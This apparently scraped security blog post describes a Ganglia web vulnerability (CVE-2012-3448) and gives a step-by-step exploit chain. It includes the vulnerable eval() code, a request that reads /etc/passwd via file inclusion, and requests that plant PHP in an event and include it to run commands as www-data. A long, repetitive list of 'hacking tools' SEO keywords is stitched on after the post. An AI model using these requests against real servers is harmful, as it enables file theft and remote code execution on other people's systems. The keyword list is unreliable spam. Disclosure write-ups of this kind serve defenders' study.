http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
Continue reading
- Hacker Tools Free
- Hacker Tools 2019
- Pentest Automation Tools
- Hacking Tools Software
- Tools For Hacker
- Termux Hacking Tools 2019
- Pentest Tools Android
- Hacker Security Tools
- Hacker Tools 2019
- Game Hacking
- Hak5 Tools
- Hacker Tools Apk Download
- Pentest Tools Apk
- Github Hacking Tools
- Pentest Tools Linux
- Hack Tools For Mac
- Hacking Tools Windows
- Hack And Tools
- Hacker Tools List
- Hacker Security Tools
- Hacker Search Tools
- Pentest Tools Tcp Port Scanner
- Hacking Tools For Mac
- Hacking Apps
- Underground Hacker Sites
- Hak5 Tools
- Pentest Tools Windows
- Hacker Security Tools
- Hacking Tools 2020
- Pentest Tools For Ubuntu
- Hacker Tools For Pc
- Hack Tool Apk No Root
- Best Hacking Tools 2019
- Hack Tools 2019
- Hack Apps
- Hack Rom Tools
- Hack Tools Online
- Pentest Tools Framework
- Hacking Tools Online
- Install Pentest Tools Ubuntu
- How To Hack
- Hacking Tools Hardware
- Game Hacking
- Hacking Tools For Mac
- Pentest Tools Alternative
- Pentest Tools Nmap
- Hack Tools Online
- New Hacker Tools
- Hacking Tools Free Download
- Nsa Hack Tools Download
- New Hacker Tools
- Hacking Tools Windows 10
- Hack Tools Github
- Tools 4 Hack
- Best Pentesting Tools 2018
- Hacking App
- Pentest Tools Online
- Hacking Tools For Windows 7
- Ethical Hacker Tools
- Hack Tools 2019
- Hacking Tools For Windows 7
- Hack Tools For Windows
- Pentest Tools Free
- Hacker Tools 2020
- Best Hacking Tools 2020
- Hacking Tools Software
- Pentest Tools Website
- Install Pentest Tools Ubuntu
- Hackrf Tools
- Hack Tools Download
- Pentest Tools For Ubuntu
- Pentest Tools Alternative
- Hacker Tools Online
- Pentest Tools Review
- Pentest Tools Url Fuzzer
- Pentest Tools Bluekeep
- Hacking Apps
- Hack And Tools
- Hacking Tools For Windows 7
- Hack App
- Hack Tools Download
- Hack Apps
- Hacking Tools For Games
- Wifi Hacker Tools For Windows
- Best Hacking Tools 2019
- World No 1 Hacker Software
- Hacker Tools Apk Download
- Hacking Tools Hardware
- Hackrf Tools
- Beginner Hacker Tools
- Hak5 Tools
- Hacking Tools For Mac
- Hacking Tools Windows 10
- Android Hack Tools Github
- Hacker Tools Apk
- Hack Tools
- Pentest Tools Nmap
- Hacking Apps
- Hacker Tools Apk
- Hacker Tools For Pc
- Pentest Tools Framework
- Hacker Tools Free Download
- Kik Hack Tools
- Pentest Reporting Tools
- Termux Hacking Tools 2019
- Pentest Tools
- Hacker Tools For Ios
- Hacker Tools For Windows
- Nsa Hack Tools
- Hacker Security Tools
- Pentest Tools Android
- Pentest Tools Review
- Hack App
- Pentest Tools Free
- Hacker Tools
- Pentest Tools Subdomain
- Hacking Tools Online
- Pentest Tools Alternative
- Tools 4 Hack
- Pentest Tools Port Scanner
- Pentest Tools Bluekeep
- Hacker Tools List
No comments:
Post a Comment